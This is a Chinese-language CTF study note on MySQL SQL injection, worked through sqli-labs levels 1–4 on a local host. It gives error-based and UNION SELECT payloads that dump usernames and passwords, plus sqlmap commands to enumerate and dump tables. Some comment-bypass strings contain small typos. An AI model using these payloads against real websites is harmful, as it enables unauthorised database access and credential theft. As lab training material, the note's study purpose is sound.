CTFweb篇-SQL注入(一)

基本函数和知识

基本数据库information_schema

information_schema是一个数据库，放的是一些视图，在SQL文件中找不到。
其中具有表schemata(数据库名)、tables(表名)、columns(列名获字段名)
schemata表中有schema_name来存储数据库名
在tables表中，table_schema和table_name来存储数据库名和表名
在columns表中，有table_schema、table_name、column_name

基本函数

user()

查看当前Mysql登录用户名

database()

查看当前使用Mysql数据库名

version()

查看当前Mysql版本

group_concat()

group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
将同一分组分组的要连接的字段放在同一行
默认以逗号隔开
不加group by就是将所有的看作一组

limit关键字

limit m,n:只显示m到m+n行数据

常用注释

注释符

#:单行注释
–空格:单行注释(空格一般会被浏览器吃掉，最好用%20)
/* */：多行注释

内联注释(只有Mysql可识别)

/*! */

SQL注入类型

数字型

select * from table where id = 用户输入id

字符型

select * from table where id = ‘用户输入id’

检测SQL注入点

通过在URL中修改对应的ID值为正常数字、大数字、字符(单引号、双引号、双单引号、双双引号)、\来探测URL是否存在注入点

Sqli-Lab less1~4，GET基于报错的SQL注入

Less1

输入id=1

显示出了用户名和密码
接着不断更改id，发现在15时没了，说明该数据库只有15个用户
接下来进行注入点判断，在id值后面加’

报错:’‘1’’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>‘1’’ LIMIT 0,1
证明这里会对输入的id自动在两边加入单引号：

select userName,passWord from table where ID = 'ID值' limit 0,1

绕过方法：
传入?id=1’–20%---------->将后面自动加的’给注释掉

Less2

传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
‘’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>1’ LIMIT 0,1
证明这里输入的ID就是数值：

select userName,passWord from table where ID = ID值 limit 0,1

绕过方法:
传入?id=1–20%’

Less3

传入id=1’
报错：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
‘‘1’’) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>'1") LIMIT 0,1
证明这里输入的id值会在两边加(‘ID值’)：

select userName,passWord from table where ID = ('ID值') limit 0,1

绕过方法:
传入?id=1’)–%20

Less4

传入参数id=1’

正常显示
传入id=1"
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
‘“1"”) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>“1"”) LIMIT 0,1
证明会在传入的id值两边加了(“id值”)

select userName,passWord from table where ID = ("ID值") limit 0,1

为什么会在传入1’,1)等这些参数值时仍然不报错？
因为在SQL语法中双引号内的这些符号都被看做普通字符串，并且可以将其中的数字提出来，只有加双引号或者转义字符才可以进行对应的转换。
绕过方法:
?id=1")–%20

常用的方法

利用order by判断字段数

字段数就是属性列数
因为有几个属性才可以用几个属性去排序

Less1的利用

利用less1 的union联合user()、version()、database()函数进行插入：

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1  UNION SELECT 1,user(),version()--%20

查看到了用户名和版本
查看table：

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where  table_schema=database()--%20

information_schema.tables：information_schema数据库中的tables表
table_schema（数据库名）：tables表中的列名。
查看列名：

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where  table_name='users'--%20

查出来了所有的列名
查看所有用户名和密码：

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT -1,group_concat(username,':',password),3 from users--%20

利用sqlmap进行探寻

1、查数据库
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --batch --dbs

–batch:进行默认设置
–dbs:返回所有数据库
2、查所有表
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security --tables --batch

-D：数据库
–tables：返回指定数据库的所有表
3、查指定表中的所有列
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users --columns --batch

-T：指定表
–columns:返回所有指定表所有列
4、显示表中内容
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump --batch

–dump:就是显示表中数据

总之sqlmap功能很强大